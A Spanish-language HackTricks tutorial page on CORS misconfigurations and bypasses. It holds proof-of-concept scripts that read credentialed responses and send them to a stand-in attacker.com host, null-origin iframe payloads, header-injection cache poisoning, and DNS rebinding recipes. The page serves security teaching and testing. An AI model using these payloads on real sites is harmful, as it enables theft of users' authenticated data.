# CORS - Configuraciones incorrectas y Bypass

<details>

<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Otras formas de apoyar a HackTricks:

* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>

## ¿Qué es CORS?

El estándar Cross-Origin Resource Sharing (CORS) **permite a los servidores definir quién puede acceder a sus activos** y **qué métodos de solicitud HTTP están permitidos** desde fuentes externas.

Una política de **mismo origen** exige que un **servidor que solicita** un recurso y el servidor que **aloja el recurso** compartan el mismo protocolo (por ejemplo, `http://`), nombre de dominio (por ejemplo, `internal-web.com`) y **puerto** (por ejemplo, 80). Bajo esta política, solo se permite el acceso a los recursos a las páginas web del mismo dominio y puerto.

La aplicación de la política de mismo origen en el contexto de `http://normal-website.com/example/example.html` se ilustra de la siguiente manera:

| URL accedida                              | ¿Acceso permitido?                  |
| ----------------------------------------- | ---------------------------------- |
| `http://normal-website.com/example/`      | Sí: Esquema, dominio y puerto idénticos |
| `http://normal-website.com/example2/`     | Sí: Esquema, dominio y puerto idénticos |
| `https://normal-website.com/example/`     | No: Esquema y puerto diferentes      |
| `http://en.normal-website.com/example/`   | No: Dominio diferente               |
| `http://www.normal-website.com/example/`  | No: Dominio diferente               |
| `http://normal-website.com:8080/example/` | No: Puerto diferente*                |

*Internet Explorer no tiene en cuenta el número de puerto al hacer cumplir la política de mismo origen, permitiendo así este acceso.

### Encabezado `Access-Control-Allow-Origin`

Este encabezado puede permitir **múltiples orígenes**, un valor de **`null`**, o un comodín **`*`**. Sin embargo, **ningún navegador admite múltiples orígenes**, y el uso del comodín `*` está sujeto a **limitaciones**. (El comodín debe usarse solo, y no se permite su uso junto con `Access-Control-Allow-Credentials: true`.)

Este encabezado es **emitido por un servidor** en respuesta a una solicitud de recurso entre dominios iniciada por un sitio web, con el navegador añadiendo automáticamente un encabezado `Origin`.

### Encabezado `Access-Control-Allow-Credentials`

Por **defecto**, las solicitudes entre orígenes se realizan sin credenciales como cookies o el encabezado de Autorización. Sin embargo, un servidor entre dominios puede permitir la lectura de la respuesta cuando se envían credenciales configurando el encabezado `Access-Control-Allow-Credentials` a **`true`**.

Si se establece en `true`, el navegador transmitirá credenciales (cookies, encabezados de autorización o certificados de cliente TLS).
```javascript
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);
```

```javascript
fetch(url, {
credentials: 'include'
})
```

```javascript
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');
```
### Solicitud previa CSRF

### Comprendiendo las Solicitudes Previas en la Comunicación entre Dominios

Al iniciar una solicitud entre dominios bajo condiciones específicas, como usar un **método HTTP no estándar** (cualquier cosa que no sea HEAD, GET, POST), introducir nuevos **encabezados**, o emplear un valor especial en el encabezado **Content-Type**, puede ser necesaria una solicitud previa. Esta solicitud preliminar, aprovechando el método **`OPTIONS`**, sirve para informar al servidor sobre las intenciones de la próxima solicitud entre orígenes, incluyendo los métodos y encabezados HTTP que pretende utilizar.

El protocolo de **Compartir Recursos de Origen Cruzado (CORS)** exige esta verificación previa para determinar la viabilidad de la operación entre orígenes solicitada, verificando los métodos permitidos, los encabezados y la confiabilidad del origen. Para comprender detalladamente qué condiciones evitan la necesidad de una solicitud previa, consulte la guía completa proporcionada por [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests).

Es crucial tener en cuenta que **la ausencia de una solicitud previa no elimina la necesidad de que la respuesta lleve encabezados de autorización**. Sin estos encabezados, el navegador no puede procesar la respuesta de la solicitud entre orígenes.

Considere la siguiente ilustración de una solicitud previa dirigida a utilizar el método `PUT` junto con un encabezado personalizado llamado `Special-Request-Header`:
```
OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization
```
En respuesta, el servidor podría devolver encabezados que indiquen los métodos aceptados, el origen permitido y otros detalles de la política CORS, como se muestra a continuación:
```markdown
HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
```
- **`Access-Control-Allow-Headers`**: Este encabezado especifica qué encabezados se pueden utilizar durante la solicitud real. Es establecido por el servidor para indicar los encabezados permitidos en las solicitudes del cliente.
- **`Access-Control-Expose-Headers`**: A través de este encabezado, el servidor informa al cliente sobre qué encabezados se pueden exponer como parte de la respuesta además de los encabezados de respuesta simples.
- **`Access-Control-Max-Age`**: Este encabezado indica cuánto tiempo pueden ser almacenados en caché los resultados de una solicitud previa. El servidor establece el tiempo máximo, en segundos, que la información devuelta por una solicitud previa puede ser reutilizada.
- **`Access-Control-Request-Headers`**: Utilizado en solicitudes previas, este encabezado es establecido por el cliente para informar al servidor sobre qué encabezados HTTP el cliente desea utilizar en la solicitud real.
- **`Access-Control-Request-Method`**: Este encabezado, también utilizado en solicitudes previas, es establecido por el cliente para indicar qué método HTTP se utilizará en la solicitud real.
- **`Origin`**: Este encabezado es establecido automáticamente por el navegador e indica el origen de la solicitud de origen cruzado. Es utilizado por el servidor para evaluar si la solicitud entrante debe ser permitida o denegada según la política CORS.


Ten en cuenta que generalmente (dependiendo del tipo de contenido y los encabezados establecidos) en una solicitud **GET/POST no se envía una solicitud previa** (la solicitud se envía **directamente**), pero si deseas acceder a los **encabezados/cuerpo de la respuesta**, debe contener un encabezado _Access-Control-Allow-Origin_ que lo permita.\
**Por lo tanto, CORS no protege contra CSRF (pero puede ser útil).**

### **Solicitud previa de solicitudes de red local**

1. **`Access-Control-Request-Local-Network`**: Este encabezado se incluye en la solicitud del cliente para indicar que la consulta está dirigida a un recurso de red local. Sirve como un marcador para informar al servidor que la solicitud proviene desde la red local.

2. **`Access-Control-Allow-Local-Network`**: En respuesta, los servidores utilizan este encabezado para comunicar que el recurso solicitado está permitido para ser compartido con entidades fuera de la red local. Actúa como una luz verde para compartir recursos a través de diferentes límites de red, asegurando un acceso controlado mientras se mantienen los protocolos de seguridad.

Una **respuesta válida que permita la solicitud de red local** también debe tener en la respuesta el encabezado `Access-Controls-Allow-Local_network: true`:
```
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...
```
{% hint style="warning" %}
Ten en cuenta que la IP **0.0.0.0** de Linux funciona para **burlar** estos requisitos y acceder a localhost, ya que esa dirección IP no se considera "local".

También es posible **burlar los requisitos de la Red Local** si se utiliza la **dirección IP pública de un punto final local** (como la IP pública del enrutador). Porque en varias ocasiones, incluso si se accede a la **IP pública**, si es **desde la red local**, se concederá el acceso.


{% endhint %}

## Configuraciones incorrectas explotables

Se ha observado que establecer `Access-Control-Allow-Credentials` en **`true`** es un requisito previo para la mayoría de los **ataques reales**. Esta configuración permite al navegador enviar credenciales y leer la respuesta, mejorando la efectividad del ataque. Sin esto, el beneficio de hacer que un navegador emita una solicitud en lugar de hacerlo uno mismo disminuye, ya que se vuelve inviable aprovechar las cookies de un usuario.

### Excepción: Explotar la Ubicación de la Red como Autenticación

Existe una excepción donde la ubicación de la red de la víctima actúa como una forma de autenticación. Esto permite que el navegador de la víctima se utilice como un proxy, eludiendo la autenticación basada en IP para acceder a aplicaciones de intranet. Este método comparte similitudes en impacto con el reenvío de DNS pero es más fácil de explotar.

### Reflejo de `Origin` en `Access-Control-Allow-Origin`

El escenario del mundo real donde el valor del encabezado `Origin` se refleja en `Access-Control-Allow-Origin` es teóricamente improbable debido a las restricciones para combinar estos encabezados. Sin embargo, los desarrolladores que buscan habilitar CORS para múltiples URLs pueden generar dinámicamente el encabezado `Access-Control-Allow-Origin` copiando el valor del encabezado `Origin`. Este enfoque puede introducir vulnerabilidades, especialmente cuando un atacante utiliza un dominio con un nombre diseñado para parecer legítimo, engañando así a la lógica de validación.
```html
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>
```
### Explotando el Origen `null`

El origen `null`, especificado para situaciones como redirecciones o archivos HTML locales, tiene una posición única. Algunas aplicaciones incluyen este origen en la lista blanca para facilitar el desarrollo local, permitiendo inadvertidamente que cualquier sitio web imite un origen `null` a través de un iframe con sandbox, evitando así las restricciones de CORS.
```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
```

```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
```
### Técnicas de Bypass de Expresiones Regulares

Al encontrarse con una lista blanca de dominios, es crucial probar oportunidades de bypass, como agregar el dominio del atacante a un dominio en la lista blanca o explotar vulnerabilidades de apropiación de subdominios. Además, las expresiones regulares utilizadas para la validación de dominios pueden pasar por alto matices en las convenciones de nomenclatura de dominios, presentando más oportunidades de bypass.

### Bypasses Avanzados de Expresiones Regulares

Los patrones Regex suelen concentrarse en caracteres alfanuméricos, punto (.), y guion (-), descuidando otras posibilidades. Por ejemplo, un nombre de dominio diseñado para incluir caracteres interpretados de manera diferente por los navegadores y patrones Regex puede evadir las comprobaciones de seguridad. La forma en que Safari, Chrome y Firefox manejan los caracteres de guion bajo en subdominios ilustra cómo estas discrepancias pueden ser explotadas para eludir la lógica de validación de dominios.

**Para obtener más información y configuraciones de esta verificación de bypass:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **y** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)

![https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (153).png>)

### Desde XSS dentro de un subdominio

Los desarrolladores a menudo implementan mecanismos defensivos para protegerse contra la explotación de CORS al incluir en la lista blanca dominios que tienen permiso para solicitar información. A pesar de estas precauciones, la seguridad del sistema no es infalible. La presencia de incluso un solo subdominio vulnerable dentro de los dominios en la lista blanca puede abrir la puerta a la explotación de CORS a través de otras vulnerabilidades, como XSS (Cross-Site Scripting).

Para ilustrar, considera el escenario donde un dominio, `requester.com`, está en la lista blanca para acceder a recursos de otro dominio, `provider.com`. La configuración del lado del servidor podría verse algo así:
```javascript
if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
} else {
// Unauthorized access
}
```
En esta configuración, se permite el acceso a todos los subdominios de `requester.com`. Sin embargo, si un subdominio, por ejemplo `sub.requester.com`, se ve comprometido con una vulnerabilidad de XSS, un atacante puede aprovechar esta debilidad. Por ejemplo, un atacante con acceso a `sub.requester.com` podría explotar la vulnerabilidad de XSS para eludir las políticas de CORS y acceder maliciosamente a recursos en `provider.com`.


### **Envenenamiento de caché del lado del servidor**

**[De esta investigación](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)**

Es posible que al explotar el envenenamiento de caché del lado del servidor a través de la inyección de encabezados HTTP, se pueda inducir una vulnerabilidad almacenada de Cross-Site Scripting (XSS). Este escenario se desarrolla cuando una aplicación no desinfecta el encabezado `Origin` de caracteres ilegales, creando una vulnerabilidad especialmente para los usuarios de Internet Explorer y Edge. Estos navegadores tratan `\r` (0x0d) como un terminador legítimo de encabezados HTTP, lo que lleva a vulnerabilidades de inyección de encabezados HTTP.

Considere la siguiente solicitud donde se manipula el encabezado `Origin`:
```text
GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
```
Internet Explorer y Edge interpretan la respuesta como:
```text
HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
```
Mientras que explotar directamente esta vulnerabilidad haciendo que un navegador web envíe un encabezado malformado no es factible, una solicitud elaborada puede ser generada manualmente utilizando herramientas como Burp Suite. Este método podría llevar a que una caché del lado del servidor guarde la respuesta y la sirva inadvertidamente a otros. La carga elaborada tiene como objetivo alterar el conjunto de caracteres de la página a UTF-7, una codificación de caracteres a menudo asociada con vulnerabilidades XSS debido a su capacidad para codificar caracteres de una manera que puede ser ejecutada como script en ciertos contextos.

Para más lecturas sobre vulnerabilidades XSS almacenadas, consulta [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).

**Nota**: La explotación de vulnerabilidades de inyección de encabezados HTTP, particularmente a través de envenenamiento de caché del lado del servidor, subraya la importancia crítica de validar y sanear toda la entrada proporcionada por el usuario, incluidos los encabezados HTTP. Siempre emplea un modelo de seguridad sólido que incluya validación de entrada para prevenir tales vulnerabilidades.


### **Envenenamiento de caché del lado del cliente**

**[De esta investigación](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)**

En este escenario, se observa una instancia de una página web que refleja el contenido de un encabezado HTTP personalizado sin codificación adecuada. Específicamente, la página web refleja de vuelta el contenido incluido en un encabezado `X-User-id`, que podría incluir JavaScript malicioso, como se demuestra en el ejemplo donde el encabezado contiene una etiqueta de imagen SVG diseñada para ejecutar código JavaScript al cargarse.

Las políticas de Compartir Recursos de Origen Cruzado (CORS) permiten el envío de encabezados personalizados. Sin embargo, sin que la respuesta sea renderizada directamente por el navegador debido a restricciones de CORS, la utilidad de tal inyección podría parecer limitada. El punto crítico surge al considerar el comportamiento de la caché del navegador. Si el encabezado `Vary: Origin` no está especificado, se vuelve posible que la respuesta maliciosa sea almacenada en la caché del navegador. Posteriormente, esta respuesta en caché podría ser renderizada directamente al navegar a la URL, evitando la necesidad de renderización directa en la solicitud inicial. Este mecanismo mejora la fiabilidad del ataque al aprovechar el almacenamiento en caché del lado del cliente.

Para ilustrar este ataque, se proporciona un ejemplo de JavaScript, diseñado para ser ejecutado en el entorno de una página web, como a través de un JSFiddle. Este script realiza una acción simple: envía una solicitud a una URL especificada con un encabezado personalizado que contiene el JavaScript malicioso. Tras completar con éxito la solicitud, intenta navegar a la URL objetivo, potencialmente desencadenando la ejecución del script inyectado si la respuesta ha sido almacenada en caché sin un manejo adecuado del encabezado `Vary: Origin`.

Aquí tienes un resumen del JavaScript utilizado para ejecutar este ataque:
```html
<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>
```
## Bypass

### XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, también conocido como Inclusión de Script de Sitio Cruzado, es un tipo de vulnerabilidad que aprovecha el hecho de que la Política de Mismo Origen (SOP) no se aplica al incluir recursos utilizando la etiqueta script. Esto se debe a que los scripts deben poder incluirse desde diferentes dominios. Esta vulnerabilidad permite a un atacante acceder y leer cualquier contenido que se haya incluido utilizando la etiqueta script.

Esta vulnerabilidad se vuelve particularmente significativa cuando se trata de JavaScript dinámico o JSONP (JSON con Padding), especialmente cuando se utilizan información de autoridad ambiental como cookies para la autenticación. Al solicitar un recurso de un host diferente, las cookies se incluyen, lo que las hace accesibles para el atacante.

Para comprender mejor y mitigar esta vulnerabilidad, puedes utilizar el complemento BurpSuite disponible en [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp). Este complemento puede ayudar a identificar y abordar posibles vulnerabilidades XSSI en tus aplicaciones web.

[**Lee más sobre los diferentes tipos de XSSI y cómo explotarlos aquí.**](xssi-cross-site-script-inclusion.md)

Intenta agregar un **parámetro `callback`** en la solicitud. Tal vez la página estaba preparada para enviar los datos como JSONP. En ese caso, la página devolverá los datos con `Content-Type: application/javascript`, lo que evitará la política CORS.

![](<../.gitbook/assets/image (229).png>)

### Bypass Fácil (¿inútil?)

Una forma de evitar la restricción de `Access-Control-Allow-Origin` es solicitando a una aplicación web que realice una solicitud en tu nombre y envíe la respuesta de vuelta. Sin embargo, en este escenario, las credenciales de la víctima final no se enviarán, ya que la solicitud se realiza a un dominio diferente.

1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Esta herramienta proporciona un proxy que reenvía tu solicitud junto con sus encabezados, al mismo tiempo que falsifica el encabezado de Origen para que coincida con el dominio solicitado. Esto evita efectivamente la política CORS. Aquí tienes un ejemplo de uso con XMLHttpRequest:

2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): Esta herramienta ofrece un enfoque alternativo para el proxy de solicitudes. En lugar de pasar tu solicitud tal cual, el servidor realiza su propia solicitud con los parámetros especificados.

### Bypass de Iframe + Popup

Puedes **evitar las comprobaciones CORS** como `e.origin === window.origin` al **crear un iframe** y **desde él abrir una nueva ventana**. Más información en la siguiente página:

{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
{% endcontent-ref %}

### Rebinding de DNS a través de TTL

El rebinding de DNS a través de TTL es una técnica utilizada para evitar ciertas medidas de seguridad al manipular registros DNS. Así es como funciona:

1. El atacante crea una página web y hace que la víctima la acceda.
2. Luego, el atacante cambia el DNS (IP) de su propio dominio para que apunte a la página web de la víctima.
3. El navegador de la víctima almacena en caché la respuesta DNS, que puede tener un valor TTL (Tiempo de Vida) que indica cuánto tiempo debe considerarse válido el registro DNS.
4. Cuando el TTL expira, el navegador de la víctima realiza una nueva solicitud DNS, lo que permite al atacante ejecutar código JavaScript en la página de la víctima.
5. Al mantener el control sobre la IP de la víctima, el atacante puede recopilar información de la víctima sin enviar cookies al servidor de la víctima.

Es importante tener en cuenta que los navegadores tienen mecanismos de almacenamiento en caché que pueden evitar el abuso inmediato de esta técnica, incluso con valores TTL bajos.

El rebinding de DNS puede ser útil para evitar comprobaciones explícitas de IP realizadas por la víctima o para escenarios en los que un usuario o bot permanece en la misma página durante un período prolongado, permitiendo que caduque la caché.

Si necesitas una forma rápida de abusar del rebinding de DNS, puedes utilizar servicios como [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html).

Para ejecutar tu propio servidor de rebinding de DNS, puedes utilizar herramientas como **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). Esto implica exponer tu puerto local 53/udp, crear un registro A que apunte a él (por ejemplo, ns.example.com) y crear un registro NS que apunte al subdominio A creado anteriormente (por ejemplo, ns.example.com). Cualquier subdominio del subdominio ns.example.com se resolverá entonces en tu host.

También puedes explorar un servidor en funcionamiento públicamente en [http://rebind.it/singularity.html](http://rebind.it/singularity.html) para obtener una mayor comprensión y experimentación.

### Rebinding de DNS a través de **Cache**

Otra forma de evitar la defensa de almacenamiento en caché es utilizando múltiples direcciones IP para el mismo subdominio en el proveedor DNS. Así es como funciona:

1. El atacante configura dos registros A (o un solo registro A con dos IPs) para el mismo subdominio en el proveedor DNS.
2. Cuando un navegador verifica estos registros, recibe ambas direcciones IP.
3. Si el navegador decide usar primero la dirección IP del atacante, este puede servir un payload que realice solicitudes HTTP al mismo dominio.
4. Sin embargo, una vez que el atacante obtiene la dirección IP de la víctima, deja de responder al navegador de la víctima.
5. El navegador de la víctima, al darse cuenta de que el dominio no responde, pasa a utilizar la segunda dirección IP proporcionada.
6. Al acceder a la segunda dirección IP, el navegador evita la Política de Mismo Origen (SOP), lo que permite al atacante abusar de esto y recopilar y extraer información.

Esta técnica aprovecha el comportamiento de los navegadores cuando se proporcionan múltiples direcciones IP para un dominio. Al controlar estratégicamente las respuestas y manipular la elección de la dirección IP del navegador, un atacante puede explotar la SOP y acceder a información de la víctima.

{% hint style="warning" %}
Ten en cuenta que para acceder a localhost debes intentar reasignar **127.0.0.1** en Windows y **0.0.0.0** en Linux.\
Proveedores como godaddy o cloudflare no me permitieron usar la IP 0.0.0.0, pero AWS route53 me permitió crear un registro A con 2 IPs siendo una de ellas "0.0.0.0"

<img src="../.gitbook/assets/image (638) (2) (1) (1) (1).png" alt="" data-size="original">
{% endhint %}

Para obtener más información, puedes consultar [https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/)

### Otros Bypass Comunes

* Si no se permiten **IPs internas**, es posible que **olvidaran prohibir 0.0.0.0** (funciona en Linux y Mac)
* Si no se permiten **IPs internas**, responde con un **CNAME** a **localhost** (funciona en Linux y Mac)
* Si no se permiten **IPs internas** como respuestas DNS, puedes responder **CNAMEs a servicios internos** como www.corporate.internal.

### Rebinding de DNS Weaponizado

Puedes encontrar más información sobre las técnicas de bypass anteriores y cómo utilizar la siguiente herramienta en la charla [Gerald Doussot - Estado de los Ataques de Rebinding de DNS y Singularidad de Origen - Conferencia DEF CON 27](https://www.youtube.com/watch?v=y9-0lICNjOQ).

[**`Singularidad de Origen`**](https://github.com/nccgroup/singularity) es una herramienta para realizar ataques de [rebinding de DNS](https://en.wikipedia.org/wiki/DNS\_rebinding). Incluye los componentes necesarios para reasignar la dirección IP del nombre DNS del servidor de ataque a la dirección IP de la máquina objetivo y para servir payloads de ataque para explotar software vulnerable en la máquina objetivo.

### Protección Real contra Rebinding de DNS

* Utiliza TLS en servicios internos
* Solicita autenticación para acceder a los datos
* Valida el encabezado Host
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Propuesta para enviar siempre una solicitud previa cuando los servidores públicos quieran acceder a servidores internos

## **Herramientas**

**Prueba posibles configuraciones incorrectas en las políticas CORS**

* [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
* [https://github.com/lc/theftfuzzer](https://github.com/lc/theftfuzzer)
* [https://github.com/s0md3v/Corsy](https://github.com/s0md3v/Corsy)
* [https://github.com/Shivangx01b/CorsMe](https://github.com/Shivangx01b/CorsMe)

## Referencias
* [https://portswigger.net/web-security/cors](https://portswigger.net/web-security/cors)
* [https://portswigger.net/web-security/cors/access-control-allow-origin](https://portswigger.net/web-security/cors/access-control-allow-origin)
* [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS)
* [https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
* [https://www.codecademy.com/articles/what-is-cors](https://www.codecademy.com/articles/what-is-cors)
* [https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors](https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors)
* [https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646](https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration)
* [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b)